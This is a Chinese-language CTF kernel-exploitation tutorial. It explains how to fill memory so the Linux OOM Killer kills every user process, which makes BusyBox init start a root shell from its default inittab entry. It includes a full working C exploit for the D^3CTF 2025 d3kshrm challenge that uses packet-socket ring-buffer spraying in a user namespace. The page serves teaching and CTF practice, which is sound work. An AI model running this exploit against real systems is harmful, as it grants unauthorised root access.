跳转至

利用内存溢出触发 OOM Killer 提供 root shell

这种技巧的核心原因是 出题人将环境配置得太过常规,且太过于遵循 busybox 的官方文档

在 Linux 系统当中对于进程所能分配的内存通常会有一定的限制,但对于 CTF 环境而言其虚拟机本身的内存大小通常较小(如 128MB),因此用户进程所能够分配的内存可以很容易达到系统物理内存上限,从而唤醒 OOM Killer 杀死进程。

OOM Killer 杀死进程的策略是基于进程的级别、资源的消耗等多方面因素综合考虑进行决策的,进程权限越高越不容易被杀,而进程资源消耗越多则越容易被杀,OOM Killer 会综合这些因素为每个进程给出一个 OOM Score ,其分数越高则意味着被杀掉的可能性越高。我们可以通过 procfs 接口中的 /proc/[pid]/oom_score 查看一个进程当前的 OOM Score。需要注意的是在一次唤醒当中 OOM Killer 可能会杀死多个进程,因为单次回收的内存未必能够满足最初的内存分配需求,原因包括内存碎片化、单个进程内存回收量不足以满足需求等。

在以前文为例的 CTF kernel pwn 环境当中,我们通常主要关注如下三个进程: rcSshexploit,当这三个进程都被 Kill 掉会发生什么?此时 ttyS0 进入闲置状态,而 /sbin/init (一号进程通常不会被 kill)会监测 tty 的状态,当当前 tty 进入闲置时,其便会按照 /etc/inittab 当中的配置启动一个用户进程:以 root 权限启动 ::askfirst: 所指示的用户态进程。

而此前绝大部分 Linux kernel pwn 环境的配置通常都直接或间接地遵循了 BusyBox 官方给出的示例规范,其中对于 /etc/inittab 给出的 示例 以及在 不存在该文件时的默认行为 如下:

# Note: BusyBox init works just fine without an inittab. If no inittab is
# found, it has the following default behavior:
#   ::sysinit:/etc/init.d/rcS
#   ::askfirst:/bin/sh
#   ::ctrlaltdel:/sbin/reboot
#   ::shutdown:/sbin/swapoff -a
#   ::shutdown:/bin/umount -a -r
#   ::restart:/sbin/init
#   tty2::askfirst:/bin/sh
#   tty3::askfirst:/bin/sh
#   tty4::askfirst:/bin/sh

我们注意到 ::askfirst: 项被配置为 /bin/sh ,这意味着 如果我们能够触发 OOM Killer 将 1 号以外的所有的用户态进程杀掉,我们便能自动获得一个 root 权限的 shell 。而在 CTF kernel pwn 的初始环境当中,rcSsh 通常有着同样的 OOM Score (一般为 678),而我们的 exploit 进程的初始分则通常较低(一般为 666),因此我们通常可以确保在进行大量内存分配的过程当中我们的 exploit 进程是最后被杀掉的,从而保证了当前 tty 最终不会有进程占用而唤起 root shell。

不过需要注意的一点是这并不意味着仅是简单地进行内存分配就可以了,直接进行大量的内存分配会让 exploit 进程的 OOM Score 迅速增长,此时在 OOM Killer 的杀戮队列当中我们的 exploit 进程便是首当其冲的,而我们的 exploit 进程被杀掉之后内存分配的动作便停止了,OOM Killer 便不需要再去继续杀死后续的进程,从而导致最后的结果只是我们的 exploit 被简单地杀掉。

因此若是要达成这种攻击,我们需要在进行内存分配的同时避免增长我们的 exploit 进程的 OOM Score ,这通常可以通过内核层的非记录型页面分配行为完成,一个比较好的例子便是 packet socket 的 ring buffer 的分配,以下是一个最小化的 POC(create_pgv_socket() 等封装函数参见 D^3CTF2025 - d3kshrm):

此外,如果题目提供了进行大量分配内存页的权能(例如 D^3CTF2025 - d3kshrm,我们通常也可以直接使用题目所提供的 API 进行内存页分配。

void unintended_exploit(void)
{
    int errno;
    prepare_pgv_system();

    for (int i = 0; i < 1000; i++) {
        if ((errno = create_pgv_socket(i)) < 0) {
            printf(ERROR_MSG("[x] Failed to allocate socket: ") "%d\n", i);
            err_exit("FAILED to allocate socket!");
        }

        if ((errno = alloc_page(i, 0x1000 * 64, 64)) < 0) {
            printf(ERROR_MSG("[x] Failed to alloc pages on socket: ")"%d\n", i);
            err_exit("FAILED to allocate pages!");
        }

        printf("[*] No.%d times\n", i);
        fflush(stdout);
    }

    puts("Done!?");
}

相对应的,pipe_buffer 或是 msg_msg 等常用的内存分配 API 则不适用于该场景,因为对此类对象的分配会导致 OOM Score 的增长。

需要注意的是,这种做法并不能保证一定能够提供 root shell,更多的可能或许是 System is deadlocked on memoryOut-of-memory 导致 kernel panic,因此在实战当中这种技巧未必有着足够高的通用性。

例题:D^3CTF 2025 - d3kshrm

原题附件可在 https://github.com/arttnba3/D3CTF2025_d3kshrm 下载。

我们注意到在本题当中出题人非常严谨地按照 BusyBox 的官方示例配置了 /etc/inittab 文件的 ::askfirst: 项为 /bin/ash ,这意味着我们可以使用针对 kernel pwn 的 OOM 攻击:

$ cat /etc/inittab
::sysinit:/etc/init.d/rcS
::askfirst:/bin/ash
::ctrlaltdel:/sbin/reboot
::shutdown:/sbin/swapoff -a
::shutdown:/bin/umount -a -r
::restart:/sbin/init

题目内核未对非特权用户创建 packet socket 进行限制,因此我们可以使用 packet socket 进行大量的内存分配以触发 OOM Killer,最终的 exp 如下:

/**
 * Copyright (c) 2025 arttnba3 <arttnba@gmail.com>
 * 
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sched.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>

/**
 * Kernel Pwn Infrastructures
**/

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

void err_exit(char *msg)
{
    printf(ERROR_MSG("[x] Error at: ") "%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

int unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET) < 0) {
        log_error("[x] Unable to create new namespace for PGV subsystem");
        return -EPERM;
    }

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    return 0;
}

/**
 * pgv pages sprayer related 
 * not that we should create two process:
 * - the parent is the one to send cmd and get root
 * - the child creates an isolate userspace by calling unshare_setup(),
 *      receiving cmd from parent and operates it only
**/

#define PGV_SOCKET_MAX_NR 1024
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

enum {
    PGV_CMD_ALLOC_SOCKET,
    PGV_CMD_ALLOC_PAGE,
    PGV_CMD_FREE_PAGE,
    PGV_CMD_FREE_SOCKET,
    PGV_CMD_EXIT,
};

enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

int cmd_pipe_req[2], cmd_pipe_reply[2];

int create_packet_socket()
{
    int socket_fd;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        log_error("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)");
        ret = socket_fd;
        goto err_out;
    }

    return socket_fd;

err_out:
    return ret;
}

int alloc_socket_pages(int socket_fd, unsigned int size, unsigned nr)
{
    struct tpacket_req req;
    int version, ret;

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION, 
                     &version, sizeof(version));
    if (ret < 0) {
        log_error("[x] failed at setsockopt(PACKET_VERSION)");
        goto err_setsockopt;
    }

    memset(&req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        log_error("[x] failed at setsockopt(PACKET_TX_RING)");
        goto err_setsockopt;
    }

    return 0;

err_setsockopt:
    return ret;
}

int free_socket_pages(int socket_fd)
{
    struct tpacket_req req;
    int ret;

    memset(&req, 0, sizeof(req));
    req.tp_block_size = 0x3361626e;
    req.tp_block_nr = 0;
    req.tp_frame_size = 0x74747261;
    req.tp_frame_nr = 0;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
    if (ret < 0) {
        log_error("[x] failed at setsockopt(PACKET_TX_RING)");
        goto err_setsockopt;
    }

    return 0;

err_setsockopt:
    return ret;
}

void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_SOCKET_MAX_NR];
    int ret;

    /* create an isolate namespace*/
    if (unshare_setup()) {
        err_exit("FAILED to initialize PGV subsystem for page spraying!");
    }

    memset(socket_fd, 0, sizeof(socket_fd));

    /* handler request */
    do {
        read(cmd_pipe_req[0], &req, sizeof(req));

        switch (req.cmd) {
        case PGV_CMD_ALLOC_SOCKET:
            if (socket_fd[req.idx] != 0) {
                printf(ERROR_MSG("[x] Duplicate idx request: ") "%d\n",req.idx);
                ret = -EINVAL;
                break;
            }

            ret = create_packet_socket();
            if (ret < 0) {
                perror(ERROR_MSG("[x] Failed at allocating packet socket"));
                break;
            }

            socket_fd[req.idx] = ret;
            ret = 0;

            break;
        case PGV_CMD_ALLOC_PAGE:
            if (socket_fd[req.idx] == 0) {
                printf(ERROR_MSG("[x] No socket fd for idx: ") "%d\n",req.idx);
                ret = -EINVAL;
                break;
            }

            ret = alloc_socket_pages(socket_fd[req.idx], req.size, req.nr);
            if (ret < 0) {
                perror(ERROR_MSG("[x] Failed to alloc packet socket pages"));
                break;
            }

            break;
        case PGV_CMD_FREE_PAGE:
            if (socket_fd[req.idx] == 0) {
                printf(ERROR_MSG("[x] No socket fd for idx: ") "%d\n",req.idx);
                ret = -EINVAL;
                break;
            }

            ret = free_socket_pages(socket_fd[req.idx]);
            if (ret < 0) {
                perror(ERROR_MSG("[x] Failed to free packet socket pages"));
                break;
            }

            break;
        case PGV_CMD_FREE_SOCKET:
            if (socket_fd[req.idx] == 0) {
                printf(ERROR_MSG("[x] No socket fd for idx: ") "%d\n",req.idx);
                ret = -EINVAL;
                break;
            }

            close(socket_fd[req.idx]);

            break;
        case PGV_CMD_EXIT:
            log_info("[*] PGV child exiting...");
            ret = 0;
            break;
        default:
            printf(
                ERROR_MSG("[x] PGV child got unknown command : ")"%d\n",
                req.cmd
            );
            ret = -EINVAL;
            break;
        }

        write(cmd_pipe_reply[1], &ret, sizeof(ret));
    } while (req.cmd != PGV_CMD_EXIT);
}

void prepare_pgv_system(void)
{
    /* pipe for pgv */
    pipe(cmd_pipe_req);
    pipe(cmd_pipe_reply);

    /* child process for pages spray */
    if (!fork()) {
        spray_cmd_handler();
    }
}

int create_pgv_socket(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = PGV_CMD_ALLOC_SOCKET,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

int destroy_pgv_socket(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = PGV_CMD_FREE_SOCKET,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = PGV_CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    return ret;
}

int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = PGV_CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], &req, sizeof(req));
    read(cmd_pipe_reply[0], &ret, sizeof(ret));

    usleep(10000);

    return ret;
}

void banner(void)
{
    puts(SUCCESS_MSG("-------- D^3CTF2025::Pwn - d3kshrm --------") "\n"
    INFO_MSG("--------     Unintended Solution    --------\n")
    INFO_MSG("--------      Author: ")"arttnba3"INFO_MSG("      --------") "\n"
    SUCCESS_MSG("-------- Local Privilege Escalation --------\n"));
}

void unintended_exploit(void)
{
    int errno;
    prepare_pgv_system();

    for (int i = 0; i < 1000; i++) {
        printf("[*] No.%d times\n", i);
        fflush(stdout);
        if ((errno = create_pgv_socket(i)) < 0) {
            printf(ERROR_MSG("[x] Failed to allocate socket: ") "%d\n", i);
            err_exit("FAILED to allocate socket!");
        }

        if ((errno = alloc_page(i, 0x1000 * 64, 64)) < 0) {
            printf(ERROR_MSG("[x] Failed to alloc pages on socket: ")"%d\n", i);
            err_exit("FAILED to allocate pages!");
        }
        puts("Done.");

        fflush(stdout);
        //sleep(1);
    }

    puts("Done!?");
}

int main(int argc, char **argv, char **envp)
{
    banner();
    unintended_exploit();
    return 0;
}